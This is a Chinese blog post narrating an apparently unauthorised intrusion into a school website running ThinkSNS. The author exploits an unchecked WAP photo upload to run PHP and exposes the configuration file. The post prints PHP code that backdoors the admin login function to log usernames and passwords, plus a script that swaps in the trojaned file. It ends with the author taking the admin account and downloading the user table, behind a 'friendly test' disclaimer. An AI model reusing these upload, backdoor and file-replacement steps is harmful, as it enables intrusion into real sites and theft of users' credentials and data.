记一次入侵某校园网站

发布于 日记

前言:本次尝试入侵仅为友情测试,希望相关网站修补该漏洞防止造成不可弥补的损失,本文仅用于技术讨论记录,请勿尝试攻击,出现任何后果与本人无关。 某天一朋友跟我说,他们学校以后的活动都在网站上报名参加,让我对网站充满兴趣,正好没时间上网,上网帮忙登录报一下社团,进入网站一看,是个简单的微博程序,但不清楚是什么程序构建的,尝试先找后台管理入口,从域名后面+admin.php 提示404文件不存在。前台文件是以index.php而引导的每个插件程序,我就尝试了一下把index.php?app=home&mod=User&act=index(首页连接)中的app=home改为app=admin,提示无权查看,不就是告诉我后台链接就是这个么。于是退出帐号,直接访问后台连接,提示后台登录。 正好也就爆出了程序的名称,正合我意,搜索thinksns是个开源的微博程序,下载,本地安装以后,于是先在本地找漏洞。

………漫长的过程……… 打开程序自带的WAP手机版,连接为index.php?app=wap&mod=Index&act=index,嗯,手机版发微博传照片,我蛋疼传了一段php脚本文件,内容就是个phpinfo()显示服务器配置信息,没想到上传成功,就是程序没有对照片进行扩展名或格式的检查,任何格式都可以上传,下一步就是找出在服务器中的路径然后运行,上传以后的图片路径是data/uploads/2013/1017/10/small525f511db08ef.php,文件是无法访问的,那就是上传以后,服务器会自动为图片生成一个缩略图,因为php不是图片,所以缩略图自然无法显示,尝试去掉small,搞定。 既然可以上传php,那就没什么难度了。 本身想的两个计划,1:php代码实现config.inc.php用附件发送到我邮箱 2:修改模版,实现把管理员帐号保存到txt上。 后来琢磨了一会,觉得附件麻烦了,干脆用php写一个复制,把config.inc.php复制到其它位置,保存文件名为config.inc.txt,然后就直接可以在浏览器中显示出了。地址栏访问,Fuck! 用本地的phpMyAdmin访问数据库,提示外网IP无法访问,尼玛,算了,继续下一个步骤。 通过对程序的了解,找到后台登录代码文件在appshomeLibActionPublicAction.class.php,打开,找到登录部分函数doAdminLogin,以下代码为登录部分:

  public function doAdminLogin() {
        // 检查验证码
        if ( md5(strtoupper($_POST['verify'])) != $_SESSION['verify'] ) {
            $this->error(L('error_security_code'));
        }

    // 数据检查
    if ( empty($_POST['password']) ) {
        $this->error(L('password_notnull'));
    }

    // 检查帐号/密码
    $is_logged = false;
    if (isset($_POST['email'])) {
        $is_logged = service('Passport')->loginAdmin($_POST['email'], $_POST['password']);
    }else if ( $this->mid > 0 ) {
        $is_logged = service('Passport')->loginAdmin($this->mid, $_POST['password']);
    }else {
        $this->error(L('parameter_error'));
    }</pre>

分析代码得到,POST传输得到的变量$_POST['email']为登录帐号。$_POST['password']为密码,在代码最后面加上以下代码

$fp=fopen("app/home/lib/Action/a.txt","a");
        fwrite($fp,base64_encode($_POST['email']."|".$_POST['password']."||")."
"); //写入数据,中间用|隔开
        fclose($fp);

代码意思为:变量fp为打开文件的文件号,文件路径为appshomeLibActiona.txt,输入帐号密码提交以后,在文件最后保存上帐号|密码||的格式。至于base64_encode嘛,嘿嘿,给帐号密码做个base64加密,本地解密就可以了。然后静等后台登录,获取到后台帐号密码。 替换服务器上的位置过程如下,先上传txt代码,然后把文件名记录好,上传一下php代码,然后运行替换文件。

<?php
   $file_delete = "../../../../../apps/home/Lib/Action/PublicAction.class.php";

   if (unlink($file_delete)) {
      echo "Yes", "n";
   } else {
      echo "No", "n";
   }

$fp=fopen("../../../../../apps/home/Lib/Action/PublicAction.class.php","a");
fwrite($fp,file_get_contents("../../../../../上传的txt代码路径")); 
fclose($fp);

………漫长的过程………

登录到后台的一瞬间我是很激动的,破坏咱就不搞了,备份一下数据库,数据表ts_user为存储用户的数据库,备份以后点击文件下载,linux这点不错,windows要设置mime类型才能访问,linux直接弹出下载窗口。

最后,请看本文开头第一句话。

评论

暂无评论

发表评论